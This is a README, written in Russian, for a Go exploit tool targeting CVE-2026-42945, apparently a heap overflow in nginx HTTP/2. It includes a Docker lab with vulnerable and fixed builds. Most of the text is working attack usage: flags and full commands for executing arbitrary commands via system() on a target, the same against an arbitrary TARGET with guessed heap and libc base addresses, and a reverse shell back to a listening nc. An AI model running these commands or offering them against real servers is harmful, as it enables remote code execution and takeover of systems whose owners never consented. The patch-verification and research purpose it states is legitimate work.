
Go-based exploit tool для CVE-2026-42945 (nginx HTTP/2) с возможностями обнаружения, проверки сбоев, выполнения команд и reverse shell для авторизованного тестирования безопасности.
Русский | English
Инструмент для обнаружения и эксплуатации уязвимости nginx HTTP/2 (CVE-2026-42945), предназначенный для проверки наличия уязвимости в авторизованной среде, сравнения эффективности исправлений и воспроизведения поведения PoC в контролируемой лабораторной среде.
Затронутые версии (приблизительно): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ исправлены.
Данный репозиторий предназначен исключительно для исследований безопасности, проверки уязвимостей и защитного тестирования.
Если вы не принимаете вышеуказанные условия, немедленно прекратите использование и удалите репозиторий.
| Режим | Описание |
|---|---|
-check-only | Проверка связности, заголовка Server, приблизительной версии, обнаружение конечной точки PoC |
-probe-crash | Отправка одного раунда эксплуатации, оценка через крах worker по побочному каналу |
-cmd | Формирование эксплойт-нагрузки, выполнение указанной команды через system() |
-shell | Обратная оболочка (требуется -lhost, на локальной машине нужен nc) |
-docker | Пакетное тестирование локальной Docker-лаборатории (vuln / fixed) |
go.mod)make, golangci-lint (разработка/проверка кода)GET /api/, POST /spray и т.д.); образы Docker уже содержат их| Элемент | Описание |
|---|---|
| Протокол | Поддерживается только открытый HTTP (net.Dial + сырые HTTP-байты); HTTPS/TLS не поддерживается. Для порта -port 443 и других TLS-портов требуется предварительное терминирование TLS или использование HTTP-порта. |
| Эксперименты в Docker | Образы для linux/amd64, первая сборка docker compose build компилирует nginx из исходников, что долго; внутри контейнера используется setarch -R для отключения ASLR, что сильно отличается от продакшена. |
| Apple Silicon | Локальный Docker работает через эмуляцию platform: linux/amd64, медленно. |
| Обратная оболочка | -shell зависит от системного nc; на Windows рекомендуется ручной прослушивание. |
| Определение эксплуатации | Побочный канал (крах worker) не равен RCE; необходимо независимо проверить побочные эффекты команды. |
# Быстрая сборка (вывод в bin/, игнорируется .gitignore)
make build-cmd
# Или напрямую через go
go build -o ./bin/cve-2026-42945 ./cmd
# Просмотр встроенной версии
./bin/cve-2026-42945 -version
Бинарные файлы релизов: скачайте cve-2026-42945-<os>-<arch> для нужной платформы в Releases (автоматически собирается GitHub Actions после пуша тега v*).
-target string Цель IP/хост (по умолчанию 127.0.0.1)
-port int Порт цели (0=80; для Docker-уязвимой версии часто 19321)
-docker Тестировать локальную Docker-лабораторию (vuln:19321, fixed:19331)
-check-only Только обнаружение, не отправлять трафик эксплойта
-probe-crash Обнаружение переполнения + побочный канал краха worker
-cmd string Команда для выполнения через system()
-shell Обратная оболочка (требуется -lhost)
-lhost string IP хоста для обратной оболочки
-lport int Порт хоста для обратной оболочки (по умолчанию 4444)
-docker-profile Использовать измеренные в deploy/docker базовые адреса кучи/libc
-heap-base string Базовый адрес кучи (шестнадцатеричный, например 0x555555659000)
-libc-base string Базовый адрес libc (шестнадцатеричный)
-tries int Количество попыток для каждого кандидата кучи (по умолчанию 10)
-timeout int Тайм-аут одного HTTP-запроса в секундах (по умолчанию 5)
-v Подробный вывод
-version Показать версию и выйти
Режим
-dockerнельзя использовать одновременно с-cmd/-shell; для эксплуатации одной цели укажите-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Сначала запустите контейнеры:
make docker-up
# или
docker compose -f deploy/docker-compose.yml up -d --build
Первая сборка может занять несколько минут, так как компилируется nginx; дождитесь статуса
healthyу сервисов вdocker compose ps, затем запускайтеmake test-lab.
| Сервис | Порт | Описание |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (уязвимый) |
| fixed | 19331 | nginx 1.30.1 (исправленный) |
Пакетное обнаружение:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Или используйте цель Makefile:
make test-lab # check + probe
make cmd-exploit # запись /tmp/pwned в vuln и командная проверка
Экспериментальные контейнеры с отключенным ASLR (setarch -R) и использованием предустановленных базовых адресов -docker-profile дают наибольший успех:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Проверка, записан ли файл
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Терминал 1: запуск инструмента (попытается фоново прослушать nc)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Если nc не найден, откройте другой терминал и прослушивайте вручную:
nc -lvnp 4444
Если на реальной цели ASLR, версия libc не совпадают с Docker, необходимо утечь или угадать базовые адреса:
# Цель должна быть на открытом HTTP-порту (не TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Побочный канал: worker аномален: означает только то, что worker мог упасть из-за переполнения; не может служить единственным доказательством успешного RCE.docker exec и т.д.).cmd/ Основная точка входа
internal/rift/ Логика обнаружения, формирования нагрузки и эксплуатации
deploy/docker/ Образы nginx 1.30.0 / 1.30.1 для экспериментов
deploy/docker-compose.yml
.github/workflows/ Сборка релизов для нескольких платформ
make help # Показать все цели make
make test # Модульные тесты
make lint # golangci-lint
make version # Показать текущий номер версии сборки
Выпуск новой версии:
git tag v1.0.0
git push origin v1.0.0
Используйте этот инструмент только в системах, которые вы имеете право тестировать. Любые злоупотребления не связаны с авторами.